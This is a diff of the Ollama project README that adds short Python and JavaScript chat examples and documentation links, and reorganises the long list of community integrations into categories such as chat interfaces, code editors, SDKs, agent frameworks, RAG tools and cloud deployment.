-See the [API documentation](./docs/api.md) for all endpoints.
+See the [API documentation](https://docs.ollama.com/api) for all endpoints.
+
+### Python
+
+```
+pip install ollama
+```
+
+```python
+from ollama import chat
+
+response = chat(model='gemma4', messages=[
+  {
+    'role': 'user',
+    'content': 'Why is the sky blue?',
+  },
+])
+print(response.message.content)
+```
+
+### JavaScript
+
+```
+npm i ollama
+```
+
+```javascript
+import ollama from "ollama";
+
+const response = await ollama.chat({
+  model: "gemma4",
+  messages: [{ role: "user", content: "Why is the sky blue?" }],
+});
+console.log(response.message.content);
+```
+
+## Supported backends
+
+- [llama.cpp](https://github.com/ggml-org/llama.cpp) project founded by Georgi Gerganov.
+
+## Documentation
+
+- [CLI reference](https://docs.ollama.com/cli)
+- [REST API reference](https://docs.ollama.com/api)
+- [Importing models](https://docs.ollama.com/import)
+- [Modelfile reference](https://docs.ollama.com/modelfile)
+- [Building from source](https://github.com/ollama/ollama/blob/main/docs/development.md)
 
 ## Community Integrations
 
-### Web & Desktop
+> Want to add your project? Open a pull request.
 
-- [Open WebUI](https://github.com/open-webui/open-webui)
-- [SwiftChat (macOS with ReactNative)](https://github.com/aws-samples/swift-chat)
-- [Enchanted (macOS native)](https://github.com/AugustDev/enchanted)
-- [Hollama](https://github.com/fmaclen/hollama)
-- [Lollms WebUI (Single user)](https://github.com/ParisNeo/lollms-webui)
-- [Lollms (Multi users)](https://github.com/ParisNeo/lollms)
-- [LibreChat](https://github.com/danny-avila/LibreChat)
-- [Bionic GPT](https://github.com/bionic-gpt/bionic-gpt)
-- [HTML UI](https://github.com/rtcfirefly/ollama-ui)
-- [AI-UI](https://github.com/bajahaw/ai-ui)
-- [Saddle](https://github.com/jikkuatwork/saddle)
-- [TagSpaces](https://www.tagspaces.org) (A platform for file-based apps, [utilizing Ollama](https://docs.tagspaces.org/ai/) for the generation of tags and descriptions)
-- [Chatbot UI](https://github.com/ivanfioravanti/chatbot-ollama)
-- [Chatbot UI v2](https://github.com/mckaywrigley/chatbot-ui)
-- [Typescript UI](https://github.com/ollama-interface/Ollama-Gui?tab=readme-ov-file)
-- [Minimalistic React UI for Ollama Models](https://github.com/richawo/minimal-llm-ui)
-- [Ollamac](https://github.com/kevinhermawan/Ollamac)
-- [big-AGI](https://github.com/enricoros/big-AGI)
-- [Cheshire Cat assistant framework](https://github.com/cheshire-cat-ai/core)
-- [Amica](https://github.com/semperai/amica)
-- [chatd](https://github.com/BruceMacD/chatd)
-- [Ollama-SwiftUI](https://github.com/kghandour/Ollama-SwiftUI)
-- [Dify.AI](https://github.com/langgenius/dify)
-- [MindMac](https://mindmac.app)
-- [NextJS Web Interface for Ollama](https://github.com/jakobhoeg/nextjs-ollama-llm-ui)
-- [Msty](https://msty.app)
-- [Chatbox](https://github.com/Bin-Huang/Chatbox)
-- [WinForm Ollama Copilot](https://github.com/tgraupmann/WinForm_Ollama_Copilot)
-- [NextChat](https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web) with [Get Started Doc](https://docs.nextchat.dev/models/ollama)
-- [Alpaca WebUI](https://github.com/mmo80/alpaca-webui)
-- [OllamaGUI](https://github.com/enoch1118/ollamaGUI)
-- [OpenAOE](https://github.com/InternLM/OpenAOE)
-- [Odin Runes](https://github.com/leonid20000/OdinRunes)
-- [LLM-X](https://github.com/mrdjohnson/llm-x) (Progressive Web App)
-- [AnythingLLM (Docker + MacOs/Windows/Linux native app)](https://github.com/Mintplex-Labs/anything-llm)
-- [Ollama Basic Chat: Uses HyperDiv Reactive UI](https://github.com/rapidarchitect/ollama_basic_chat)
-- [Ollama-chats RPG](https://github.com/drazdra/ollama-chats)
-- [IntelliBar](https://intellibar.app/) (AI-powered assistant for macOS)
-- [Jirapt](https://github.com/AliAhmedNada/jirapt) (Jira Integration to generate issues, tasks, epics)
-- [ojira](https://github.com/AliAhmedNada/ojira) (Jira chrome plugin to easily generate descriptions for tasks)
-- [QA-Pilot](https://github.com/reid41/QA-Pilot) (Interactive chat tool that can leverage Ollama models for rapid understanding and navigation of GitHub code repositories)
-- [ChatOllama](https://github.com/sugarforever/chat-ollama) (Open Source Chatbot based on Ollama with Knowledge Bases)
-- [CRAG Ollama Chat](https://github.com/Nagi-ovo/CRAG-Ollama-Chat) (Simple Web Search with Corrective RAG)
-- [RAGFlow](https://github.com/infiniflow/ragflow) (Open-source Retrieval-Augmented Generation engine based on deep document understanding)
-- [StreamDeploy](https://github.com/StreamDeploy-DevRel/streamdeploy-llm-app-scaffold) (LLM Application Scaffold)
-- [chat](https://github.com/swuecho/chat) (chat web app for teams)
-- [Lobe Chat](https://github.com/lobehub/lobe-chat) with [Integrating Doc](https://lobehub.com/docs/self-hosting/examples/ollama)
-- [Ollama RAG Chatbot](https://github.com/datvodinh/rag-chatbot.git) (Local Chat with multiple PDFs using Ollama and RAG)
-- [BrainSoup](https://www.nurgo-software.com/products/brainsoup) (Flexible native client with RAG & multi-agent automation)
-- [macai](https://github.com/Renset/macai) (macOS client for Ollama, ChatGPT, and other compatible API back-ends)
-- [RWKV-Runner](https://github.com/josStorer/RWKV-Runner) (RWKV offline LLM deployment tool, also usable as a client for ChatGPT and Ollama)
-- [Ollama Grid Search](https://github.com/dezoito/ollama-grid-search) (app to evaluate and compare models)
-- [Olpaka](https://github.com/Otacon/olpaka) (User-friendly Flutter Web App for Ollama)
-- [Casibase](https://casibase.org) (An open source AI knowledge base and dialogue system combining the latest RAG, SSO, ollama support, and multiple large language models.)
-- [OllamaSpring](https://github.com/CrazyNeil/OllamaSpring) (Ollama Client for macOS)
-- [LLocal.in](https://github.com/kartikm7/llocal) (Easy to use Electron Desktop Client for Ollama)
-- [Shinkai Desktop](https://github.com/dcSpark/shinkai-apps) (Two click install Local AI using Ollama + Files + RAG)
-- [AiLama](https://github.com/zeyoyt/ailama) (A Discord User App that allows you to interact with Ollama anywhere in Discord)
-- [Ollama with Google Mesop](https://github.com/rapidarchitect/ollama_mesop/) (Mesop Chat Client implementation with Ollama)
-- [R2R](https://github.com/SciPhi-AI/R2R) (Open-source RAG engine)
-- [Ollama-Kis](https://github.com/elearningshow/ollama-kis) (A simple easy-to-use GUI with sample custom LLM for Drivers Education)
-- [OpenGPA](https://opengpa.org) (Open-source offline-first Enterprise Agentic Application)
-- [Painting Droid](https://github.com/mateuszmigas/painting-droid) (Painting app with AI integrations)
-- [Kerlig AI](https://www.kerlig.com/) (AI writing assistant for macOS)
-- [AI Studio](https://github.com/MindWorkAI/AI-Studio)
-- [Sidellama](https://github.com/gyopak/sidellama) (browser-based LLM client)
-- [LLMStack](https://github.com/trypromptly/LLMStack) (No-code multi-agent framework to build LLM agents and workflows)
-- [BoltAI for Mac](https://boltai.com) (AI Chat Client for Mac)
-- [Harbor](https://github.com/av/harbor) (Containerized LLM Toolkit with Ollama as default backend)
-- [PyGPT](https://github.com/szczyglis-dev/py-gpt) (AI desktop assistant for Linux, Windows, and Mac)
-- [Alpaca](https://github.com/Jeffser/Alpaca) (An Ollama client application for Linux and macOS made with GTK4 and Adwaita)
-- [AutoGPT](https://github.com/Significant-Gravitas/AutoGPT/blob/master/docs/content/platform/ollama.md) (AutoGPT Ollama integration)
-- [Go-CREW](https://www.jonathanhecl.com/go-crew/) (Powerful Offline RAG in Golang)
-- [PartCAD](https://github.com/openvmp/partcad/) (CAD model generation with OpenSCAD and CadQuery)
-- [Ollama4j Web UI](https://github.com/ollama4j/ollama4j-web-ui) - Java-based Web UI for Ollama built with Vaadin, Spring Boot, and Ollama4j
-- [PyOllaMx](https://github.com/kspviswa/pyOllaMx) - macOS application capable of chatting with both Ollama and Apple MLX models.
-- [Cline](https://github.com/cline/cline) - Formerly known as Claude Dev is a VS Code extension for multi-file/whole-repo coding
-- [Void](https://github.com/voideditor/void) (Open source AI code editor and Cursor alternative)
-- [Cherry Studio](https://github.com/kangfenmao/cherry-studio) (Desktop client with Ollama support)
-- [ConfiChat](https://github.com/1runeberg/confichat) (Lightweight, standalone, multi-platform, and privacy-focused LLM chat interface with optional encryption)
-- [Archyve](https://github.com/nickthecook/archyve) (RAG-enabling document library)
-- [crewAI with Mesop](https://github.com/rapidarchitect/ollama-crew-mesop) (Mesop Web Interface to run crewAI with Ollama)
-- [Tkinter-based client](https://github.com/chyok/ollama-gui) (Python tkinter-based Client for Ollama)
-- [LLMChat](https://github.com/trendy-design/llmchat) (Privacy focused, 100% local, intuitive all-in-one chat interface)
-- [Local Multimodal AI Chat](https://github.com/Leon-Sander/Local-Multimodal-AI-Chat) (Ollama-based LLM Chat with support for multiple features, including PDF RAG, voice chat, image-based interactions, and integration with OpenAI.)
-- [ARGO](https://github.com/xark-argo/argo) (Locally download and run Ollama and Huggingface models with RAG and deep research on Mac/Windows/Linux)
-- [OrionChat](https://github.com/EliasPereirah/OrionChat) - OrionChat is a web interface for chatting with different AI providers
-- [G1](https://github.com/bklieger-groq/g1) (Prototype of using prompting strategies to improve the LLM's reasoning through o1-like reasoning chains.)
-- [Web management](https://github.com/lemonit-eric-mao/ollama-web-management) (Web management page)
-- [Promptery](https://github.com/promptery/promptery) (desktop client for Ollama.)
-- [Ollama App](https://github.com/JHubi1/ollama-app) (Modern and easy-to-use multi-platform client for Ollama)
-- [chat-ollama](https://github.com/annilq/chat-ollama) (a React Native client for Ollama)
-- [SpaceLlama](https://github.com/tcsenpai/spacellama) (Firefox and Chrome extension to quickly summarize web pages with ollama in a sidebar)
-- [YouLama](https://github.com/tcsenpai/youlama) (Webapp to quickly summarize any YouTube video, supporting Invidious as well)
-- [DualMind](https://github.com/tcsenpai/dualmind) (Experimental app allowing two models to talk to each other in the terminal or in a web interface)
-- [ollamarama-matrix](https://github.com/h1ddenpr0cess20/ollamarama-matrix) (Ollama chatbot for the Matrix chat protocol)
-- [ollama-chat-app](https://github.com/anan1213095357/ollama-chat-app) (Flutter-based chat app)
-- [Perfect Memory AI](https://www.perfectmemory.ai/) (Productivity AI assists personalized by what you have seen on your screen, heard, and said in the meetings)
-- [Hexabot](https://github.com/hexastack/hexabot) (A conversational AI builder)
-- [Reddit Rate](https://github.com/rapidarchitect/reddit_analyzer) (Search and Rate Reddit topics with a weighted summation)
-- [OpenTalkGpt](https://github.com/adarshM84/OpenTalkGpt) (Chrome Extension to manage open-source models supported by Ollama, create custom models, and chat with models from a user-friendly UI)
-- [VT](https://github.com/vinhnx/vt.ai) (A minimal multimodal AI chat app, with dynamic conversation routing. Supports local models via Ollama)
-- [Nosia](https://github.com/nosia-ai/nosia) (Easy to install and use RAG platform based on Ollama)
-- [Witsy](https://github.com/nbonamy/witsy) (An AI Desktop application available for Mac/Windows/Linux)
-- [Abbey](https://github.com/US-Artificial-Intelligence/abbey) (A configurable AI interface server with notebooks, document storage, and YouTube support)
-- [Minima](https://github.com/dmayboroda/minima) (RAG with on-premises or fully local workflow)
-- [aidful-ollama-model-delete](https://github.com/AidfulAI/aidful-ollama-model-delete) (User interface for simplified model cleanup)
-- [Perplexica](https://github.com/ItzCrazyKns/Perplexica) (An AI-powered search engine & an open-source alternative to Perplexity AI)
-- [Ollama Chat WebUI for Docker ](https://github.com/oslook/ollama-webui) (Support for local docker deployment, lightweight ollama webui)
-- [AI Toolkit for Visual Studio Code](https://aka.ms/ai-tooklit/ollama-docs) (Microsoft-official VS Code extension to chat, test, evaluate models with Ollama support, and use them in your AI applications.)
-- [MinimalNextOllamaChat](https://github.com/anilkay/MinimalNextOllamaChat) (Minimal Web UI for Chat and Model Control)
-- [Chipper](https://github.com/TilmanGriesel/chipper) AI interface for tinkerers (Ollama, Haystack RAG, Python)
-- [ChibiChat](https://github.com/CosmicEventHorizon/ChibiChat) (Kotlin-based Android app to chat with Ollama and Koboldcpp API endpoints)
-- [LocalLLM](https://github.com/qusaismael/localllm) (Minimal Web-App to run ollama models on it with a GUI)
-- [Ollamazing](https://github.com/buiducnhat/ollamazing) (Web extension to run Ollama models)
-- [OpenDeepResearcher-via-searxng](https://github.com/benhaotang/OpenDeepResearcher-via-searxng) (A Deep Research equivalent endpoint with Ollama support for running locally)
-- [AntSK](https://github.com/AIDotNet/AntSK) (Out-of-the-box & Adaptable RAG Chatbot)
-- [MaxKB](https://github.com/1Panel-dev/MaxKB/) (Ready-to-use & flexible RAG Chatbot)
-- [yla](https://github.com/danielekp/yla) (Web interface to freely interact with your customized models)
-- [LangBot](https://github.com/RockChinQ/LangBot) (LLM-based instant messaging bots platform, with Agents, RAG features, supports multiple platforms)
-- [1Panel](https://github.com/1Panel-dev/1Panel/) (Web-based Linux Server Management Tool)
-- [AstrBot](https://github.com/Soulter/AstrBot/) (User-friendly LLM-based multi-platform chatbot with a WebUI, supporting RAG, LLM agents, and plugins integration)
-- [Reins](https://github.com/ibrahimcetin/reins) (Easily tweak parameters, customize system prompts per chat, and enhance your AI experiments with reasoning model support.)
-- [Flufy](https://github.com/Aharon-Bensadoun/Flufy) (A beautiful chat interface for interacting with Ollama's API. Built with React, TypeScript, and Material-UI.)
-- [Ellama](https://github.com/zeozeozeo/ellama) (Friendly native app to chat with an Ollama instance)
-- [screenpipe](https://github.com/mediar-ai/screenpipe) Build agents powered by your screen history
-- [Ollamb](https://github.com/hengkysteen/ollamb) (Simple yet rich in features, cross-platform built with Flutter and designed for Ollama. Try the [web demo](https://hengkysteen.github.io/demo/ollamb/).)
-- [Writeopia](https://github.com/Writeopia/Writeopia) (Text editor with integration with Ollama)
-- [AppFlowy](https://github.com/AppFlowy-IO/AppFlowy) (AI collaborative workspace with Ollama, cross-platform and self-hostable)
-- [Lumina](https://github.com/cushydigit/lumina.git) (A lightweight, minimal React.js frontend for interacting with Ollama servers)
-- [Tiny Notepad](https://pypi.org/project/tiny-notepad) (A lightweight, notepad-like interface to chat with ollama available on PyPI)
-- [macLlama (macOS native)](https://github.com/hellotunamayo/macLlama) (A native macOS GUI application for interacting with Ollama models, featuring a chat interface.) 
-- [GPTranslate](https://github.com/philberndt/GPTranslate) (A fast and lightweight, AI powered desktop translation application written with Rust and Tauri. Features real-time translation with OpenAI/Azure/Ollama.)
-- [ollama launcher](https://github.com/NGC13009/ollama-launcher) (A launcher for Ollama, aiming to provide users with convenient functions such as ollama server launching, management, or configuration.)
-- [ai-hub](https://github.com/Aj-Seven/ai-hub) (AI Hub supports multiple models via API keys and Chat support via Ollama API.)
-- [Mayan EDMS](https://gitlab.com/mayan-edms/mayan-edms) (Open source document management system to organize, tag, search, and automate your files with powerful Ollama driven workflows.)
-- [Serene Pub](https://github.com/doolijb/serene-pub) (Beginner friendly, open source AI Roleplaying App for Windows, Mac OS and Linux. Search, download and use models with Ollama all inside the app.)
-- [Andes](https://github.com/aqerd/andes) (A Visual Studio Code extension that provides a local UI interface for Ollama models)
-- [KDeps](https://github.com/kdeps/kdeps) (Kdeps is an offline-first AI framework for building Dockerized full-stack AI applications declaratively using Apple PKL and integrates APIs with Ollama on the backend.)
-- [Clueless](https://github.com/KashyapTan/clueless) (Open Source & Local Cluely: A desktop application LLM assistant to help you talk to anything on your screen using locally served Ollama models. Also undetectable to screenshare)
-- [ollama-co2](https://github.com/carbonatedWaterOrg/ollama-co2) (FastAPI web interface for monitoring and managing local and remote Ollama servers with real-time model monitoring and concurrent downloads)
-- [Hillnote](https://hillnote.com) (A Markdown-first workspace designed to supercharge your AI workflow. Create documents ready to integrate with Claude, ChatGPT, Gemini, Cursor, and more - all while keeping your work on your device.)
+### Chat Interfaces
 
-### Cloud
+#### Web
+
+- [Open WebUI](https://github.com/open-webui/open-webui) - Extensible, self-hosted AI interface
+- [Onyx](https://github.com/onyx-dot-app/onyx) - Connected AI workspace
+- [LibreChat](https://github.com/danny-avila/LibreChat) - Enhanced ChatGPT clone with multi-provider support
+- [Lobe Chat](https://github.com/lobehub/lobe-chat) - Modern chat framework with plugin ecosystem ([docs](https://lobehub.com/docs/self-hosting/examples/ollama))
+- [NextChat](https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web) - Cross-platform ChatGPT UI ([docs](https://docs.nextchat.dev/models/ollama))
+- [Perplexica](https://github.com/ItzCrazyKns/Perplexica) - AI-powered search engine, open-source Perplexity alternative
+- [big-AGI](https://github.com/enricoros/big-AGI) - AI suite for professionals
+- [Lollms WebUI](https://github.com/ParisNeo/lollms-webui) - Multi-model web interface
+- [ChatOllama](https://github.com/sugarforever/chat-ollama) - Chatbot with knowledge bases
+- [Bionic GPT](https://github.com/bionic-gpt/bionic-gpt) - On-premise AI platform
+- [Chatbot UI](https://github.com/ivanfioravanti/chatbot-ollama) - ChatGPT-style web interface
+- [Hollama](https://github.com/fmaclen/hollama) - Minimal web interface
+- [Chatbox](https://github.com/Bin-Huang/Chatbox) - Desktop and web AI client
+- [chat](https://github.com/swuecho/chat) - Chat web app for teams
+- [Ollama RAG Chatbot](https://github.com/datvodinh/rag-chatbot.git) - Chat with multiple PDFs using RAG
+- [Tkinter-based client](https://github.com/chyok/ollama-gui) - Python desktop client
+
+#### Desktop
+
+- [Dify.AI](https://github.com/langgenius/dify) - LLM app development platform
+- [AnythingLLM](https://github.com/Mintplex-Labs/anything-llm) - All-in-one AI app for Mac, Windows, and Linux
+- [Maid](https://github.com/Mobile-Artificial-Intelligence/maid) - Cross-platform mobile and desktop client
+- [Witsy](https://github.com/nbonamy/witsy) - AI desktop app for Mac, Windows, and Linux
+- [Cherry Studio](https://github.com/kangfenmao/cherry-studio) - Multi-provider desktop client
+- [Ollama App](https://github.com/JHubi1/ollama-app) - Multi-platform client for desktop and mobile
+- [PyGPT](https://github.com/szczyglis-dev/py-gpt) - AI desktop assistant for Linux, Windows, and Mac
+- [Alpaca](https://github.com/Jeffser/Alpaca) - GTK4 client for Linux and macOS
+- [SwiftChat](https://github.com/aws-samples/swift-chat) - Cross-platform including iOS, Android, and Apple Vision Pro
+- [Enchanted](https://github.com/AugustDev/enchanted) - Native macOS and iOS client
+- [RWKV-Runner](https://github.com/josStorer/RWKV-Runner) - Multi-model desktop runner
+- [Ollama Grid Search](https://github.com/dezoito/ollama-grid-search) - Evaluate and compare models
+- [macai](https://github.com/Renset/macai) - macOS client for Ollama and ChatGPT
+- [AI Studio](https://github.com/MindWorkAI/AI-Studio) - Multi-provider desktop IDE
+- [Reins](https://github.com/ibrahimcetin/reins) - Parameter tuning and reasoning model support
+- [ConfiChat](https://github.com/1runeberg/confichat) - Privacy-focused with optional encryption
+- [LLocal.in](https://github.com/kartikm7/llocal) - Electron desktop client
+- [MindMac](https://mindmac.app) - AI chat client for Mac
+- [Msty](https://msty.app) - Multi-model desktop client
+- [BoltAI for Mac](https://boltai.com) - AI chat client for Mac
+- [IntelliBar](https://intellibar.app/) - AI-powered assistant for macOS
+- [Kerlig AI](https://www.kerlig.com/) - AI writing assistant for macOS
+- [Hillnote](https://hillnote.com) - Markdown-first AI workspace
+- [Perfect Memory AI](https://www.perfectmemory.ai/) - Productivity AI personalized by screen and meeting history
+
+#### Mobile
+
+- [Ollama Android Chat](https://github.com/sunshine0523/OllamaServer) - One-click Ollama on Android
+
+> SwiftChat, Enchanted, Maid, Ollama App, Reins, and ConfiChat listed above also support mobile platforms.
+
+### Code Editors & Development
+
+- [Cline](https://github.com/cline/cline) - VS Code extension for multi-file/whole-repo coding
+- [Continue](https://github.com/continuedev/continue) - Open-source AI code assistant for any IDE
+- [Void](https://github.com/voideditor/void) - Open source AI code editor, Cursor alternative
+- [Copilot for Obsidian](https://github.com/logancyang/obsidian-copilot) - AI assistant for Obsidian
+- [twinny](https://github.com/rjmacarthy/twinny) - Copilot and Copilot chat alternative
+- [gptel Emacs client](https://github.com/karthink/gptel) - LLM client for Emacs
+- [Ollama Copilot](https://github.com/bernardo-bruning/ollama-copilot) - Use Ollama as GitHub Copilot
+- [Obsidian Local GPT](https://github.com/pfrankov/obsidian-local-gpt) - Local AI for Obsidian
+- [Ellama Emacs client](https://github.com/s-kostyaev/ellama) - LLM tool for Emacs
+- [orbiton](https://github.com/xyproto/orbiton) - Config-free text editor with Ollama tab completion
+- [AI ST Completion](https://github.com/yaroslavyaroslav/OpenAI-sublime-text) - Sublime Text 4 AI assistant
+- [VT Code](https://github.com/vinhnx/vtcode) - Rust-based terminal coding agent with Tree-sitter
+- [QodeAssist](https://github.com/Palm1r/QodeAssist) - AI coding assistant for Qt Creator
+- [AI Toolkit for VS Code](https://aka.ms/ai-tooklit/ollama-docs) - Microsoft-official VS Code extension
+- [Open Interpreter](https://docs.openinterpreter.com/language-model-setup/local-models/ollama) - Natural language interface for computers
+
+### Libraries & SDKs
+
+- [LiteLLM](https://github.com/BerriAI/litellm) - Unified API for 100+ LLM providers
+- [Semantic Kernel](https://github.com/microsoft/semantic-kernel/tree/main/python/semantic_kernel/connectors/ai/ollama) - Microsoft AI orchestration SDK
+- [LangChain4j](https://github.com/langchain4j/langchain4j) - Java LangChain ([example](https://github.com/langchain4j/langchain4j-examples/tree/main/ollama-examples/src/main/java))
+- [LangChainGo](https://github.com/tmc/langchaingo/) - Go LangChain ([example](https://github.com/tmc/langchaingo/tree/main/examples/ollama-completion-example))
+- [Spring AI](https://github.com/spring-projects/spring-ai) - Spring framework AI support ([docs](https://docs.spring.io/spring-ai/reference/api/chat/ollama-chat.html))
+- [LangChain](https://python.langchain.com/docs/integrations/chat/ollama/) and [LangChain.js](https://js.langchain.com/docs/integrations/chat/ollama/) with [example](https://js.langchain.com/docs/tutorials/local_rag/)
+- [Ollama for Ruby](https://github.com/crmne/ruby_llm) - Ruby LLM library
+- [any-llm](https://github.com/mozilla-ai/any-llm) - Unified LLM interface by Mozilla
+- [OllamaSharp for .NET](https://github.com/awaescher/OllamaSharp) - .NET SDK
+- [LangChainRust](https://github.com/Abraxas-365/langchain-rust) - Rust LangChain ([example](https://github.com/Abraxas-365/langchain-rust/blob/main/examples/llm_ollama.rs))
+- [Agents-Flex for Java](https://github.com/agents-flex/agents-flex) - Java agent framework ([example](https://github.com/agents-flex/agents-flex/tree/main/agents-flex-llm/agents-flex-llm-ollama/src/test/java/com/agentsflex/llm/ollama))
+- [Elixir LangChain](https://github.com/brainlid/langchain) - Elixir LangChain
+- [Ollama-rs for Rust](https://github.com/pepperoni21/ollama-rs) - Rust SDK
+- [LangChain for .NET](https://github.com/tryAGI/LangChain) - .NET LangChain ([example](https://github.com/tryAGI/LangChain/blob/main/examples/LangChain.Samples.OpenAI/Program.cs))
+- [chromem-go](https://github.com/philippgille/chromem-go) - Go vector database with Ollama embeddings ([example](https://github.com/philippgille/chromem-go/tree/v0.5.0/examples/rag-wikipedia-ollama))
+- [LangChainDart](https://github.com/davidmigloz/langchain_dart) - Dart LangChain
+- [LlmTornado](https://github.com/lofcz/llmtornado) - Unified C# interface for multiple inference APIs
+- [Ollama4j for Java](https://github.com/ollama4j/ollama4j) - Java SDK
+- [Ollama for Laravel](https://github.com/cloudstudio/ollama-laravel) - Laravel integration
+- [Ollama for Swift](https://github.com/mattt/ollama-swift) - Swift SDK
+- [LlamaIndex](https://docs.llamaindex.ai/en/stable/examples/llm/ollama/) and [LlamaIndexTS](https://ts.llamaindex.ai/modules/llms/available_llms/ollama) - Data framework for LLM apps
+- [Haystack](https://github.com/deepset-ai/haystack-integrations/blob/main/integrations/ollama.md) - AI pipeline framework
+- [Firebase Genkit](https://firebase.google.com/docs/genkit/plugins/ollama) - Google AI framework
+- [Ollama-hpp for C++](https://github.com/jmont-dev/ollama-hpp) - C++ SDK
+- [PromptingTools.jl](https://github.com/svilupp/PromptingTools.jl) - Julia LLM toolkit ([example](https://svilupp.github.io/PromptingTools.jl/dev/examples/working_with_ollama))
+- [Ollama for R - rollama](https://github.com/JBGruber/rollama) - R SDK
+- [Portkey](https://portkey.ai/docs/welcome/integration-guides/ollama) - AI gateway
+- [Testcontainers](https://testcontainers.com/modules/ollama/) - Container-based testing
+- [LLPhant](https://github.com/theodo-group/LLPhant?tab=readme-ov-file#ollama) - PHP AI framework
+
+### Frameworks & Agents
+
+- [AutoGPT](https://github.com/Significant-Gravitas/AutoGPT/blob/master/docs/content/platform/ollama.md) - Autonomous AI agent platform
+- [crewAI](https://github.com/crewAIInc/crewAI) - Multi-agent orchestration framework
+- [Strands Agents](https://github.com/strands-agents/sdk-python) - Model-driven agent building by AWS
+- [Cheshire Cat](https://github.com/cheshire-cat-ai/core) - AI assistant framework
+- [any-agent](https://github.com/mozilla-ai/any-agent) - Unified agent framework interface by Mozilla
+- [Stakpak](https://github.com/stakpak/agent) - Open source DevOps agent
+- [Hexabot](https://github.com/hexastack/hexabot) - Conversational AI builder
+- [Neuro SAN](https://github.com/cognizant-ai-lab/neuro-san-studio) - Multi-agent orchestration ([docs](https://github.com/cognizant-ai-lab/neuro-san-studio/blob/main/docs/user_guide.md#ollama))
+
+### RAG & Knowledge Bases
+
+- [RAGFlow](https://github.com/infiniflow/ragflow) - RAG engine based on deep document understanding
+- [R2R](https://github.com/SciPhi-AI/R2R) - Open-source RAG engine
+- [MaxKB](https://github.com/1Panel-dev/MaxKB/) - Ready-to-use RAG chatbot
+- [Minima](https://github.com/dmayboroda/minima) - On-premises or fully local RAG
+- [Chipper](https://github.com/TilmanGriesel/chipper) - AI interface with Haystack RAG
+- [ARGO](https://github.com/xark-argo/argo) - RAG and deep research on Mac/Windows/Linux
+- [Archyve](https://github.com/nickthecook/archyve) - RAG-enabling document library
+- [Casibase](https://casibase.org) - AI knowledge base with RAG and SSO
+- [BrainSoup](https://www.nurgo-software.com/products/brainsoup) - Native client with RAG and multi-agent automation
+
+### Bots & Messaging
+
+- [LangBot](https://github.com/RockChinQ/LangBot) - Multi-platform messaging bots with agents and RAG
+- [AstrBot](https://github.com/Soulter/AstrBot/) - Multi-platform chatbot with RAG and plugins
+- [Discord-Ollama Chat Bot](https://github.com/kevinthedang/discord-ollama) - TypeScript Discord bot
+- [Ollama Telegram Bot](https://github.com/ruecat/ollama-telegram) - Telegram bot
+- [LLM Telegram Bot](https://github.com/innightwolfsleep/llm_telegram_bot) - Telegram bot for roleplay
+
+### Terminal & CLI
+
+- [aichat](https://github.com/sigoden/aichat) - All-in-one LLM CLI with Shell Assistant, RAG, and AI tools
+- [oterm](https://github.com/ggozad/oterm) - Terminal client for Ollama
+- [gollama](https://github.com/sammcj/gollama) - Go-based model manager for Ollama
+- [tlm](https://github.com/yusufcanb/tlm) - Local shell copilot
+- [tenere](https://github.com/pythops/tenere) - TUI for LLMs
+- [ParLlama](https://github.com/paulrobello/parllama) - TUI for Ollama
+- [llm-ollama](https://github.com/taketwo/llm-ollama) - Plugin for [Datasette's LLM CLI](https://llm.datasette.io/en/stable/)
+- [ShellOracle](https://github.com/djcopley/ShellOracle) - Shell command suggestions
+- [LLM-X](https://github.com/mrdjohnson/llm-x) - Progressive web app for LLMs
+- [cmdh](https://github.com/pgibler/cmdh) - Natural language to shell commands
+- [VT](https://github.com/vinhnx/vt.ai) - Minimal multimodal AI chat app
+
+### Productivity & Apps
+
+- [AppFlowy](https://github.com/AppFlowy-IO/AppFlowy) - AI collaborative workspace, self-hostable Notion alternative
+- [Screenpipe](https://github.com/mediar-ai/screenpipe) - 24/7 screen and mic recording with AI-powered search
+- [Vibe](https://github.com/thewh1teagle/vibe) - Transcribe and analyze meetings
+- [Page Assist](https://github.com/n4ze3m/page-assist) - Chrome extension for AI-powered browsing
+- [NativeMind](https://github.com/NativeMindBrowser/NativeMindExtension) - Private, on-device browser AI assistant
+- [Ollama Fortress](https://github.com/ParisNeo/ollama_proxy_server) - Security proxy for Ollama
+- [1Panel](https://github.com/1Panel-dev/1Panel/) - Web-based Linux server management
+- [Writeopia](https://github.com/Writeopia/Writeopia) - Text editor with Ollama integration
+- [QA-Pilot](https://github.com/reid41/QA-Pilot) - GitHub code repository understanding
+- [Raycast extension](https://github.com/MassimilianoPasquini97/raycast_ollama) - Ollama in Raycast
+- [Painting Droid](https://github.com/mateuszmigas/painting-droid) - Painting app with AI integrations
+- [Serene Pub](https://github.com/doolijb/serene-pub) - AI roleplaying app
+- [Mayan EDMS](https://gitlab.com/mayan-edms/mayan-edms) - Document management with Ollama workflows
+- [TagSpaces](https://www.tagspaces.org) - File management with [AI tagging](https://docs.tagspaces.org/ai/)
+
+### Observability & Monitoring
+
+- [Opik](https://www.comet.com/docs/opik/cookbook/ollama) - Debug, evaluate, and monitor LLM applications
+- [OpenLIT](https://github.com/openlit/openlit) - OpenTelemetry-native monitoring for Ollama and GPUs
+- [Lunary](https://lunary.ai/docs/integrations/ollama) - LLM observability with analytics and PII masking
+- [Langfuse](https://langfuse.com/docs/integrations/ollama) - Open source LLM observability
+- [HoneyHive](https://docs.honeyhive.ai/integrations/ollama) - AI observability and evaluation for agents
+- [MLflow Tracing](https://mlflow.org/docs/latest/llms/tracing/index.html#automatic-tracing) - Open source LLM observability
+
+### Database & Embeddings
+
+- [pgai](https://github.com/timescale/pgai) - PostgreSQL as a vector database ([guide](https://github.com/timescale/pgai/blob/main/docs/vectorizer-quick-start.md))
+- [MindsDB](https://github.com/mindsdb/mindsdb/blob/staging/mindsdb/integrations/handlers/ollama_handler/README.md) - Connect Ollama with 200+ data platforms
+- [chromem-go](https://github.com/philippgille/chromem-go/blob/v0.5.0/embed_ollama.go) - Embeddable vector database for Go ([example](https://github.com/philippgille/chromem-go/tree/v0.5.0/examples/rag-wikipedia-ollama))
+- [Kangaroo](https://github.com/dbkangaroo/kangaroo) - AI-powered SQL client
+
+### Infrastructure & Deployment
+
+#### Cloud
 
 - [Google Cloud](https://cloud.google.com/run/docs/tutorials/gpu-gemma2-with-ollama)
 - [Fly.io](https://fly.io/docs/python/do-more/add-ollama/)
 - [Koyeb](https://www.koyeb.com/deploy/ollama)
+- [Harbor](https://github.com/av/harbor) - Containerized LLM toolkit with Ollama as default backend
 
-### Tutorial
-
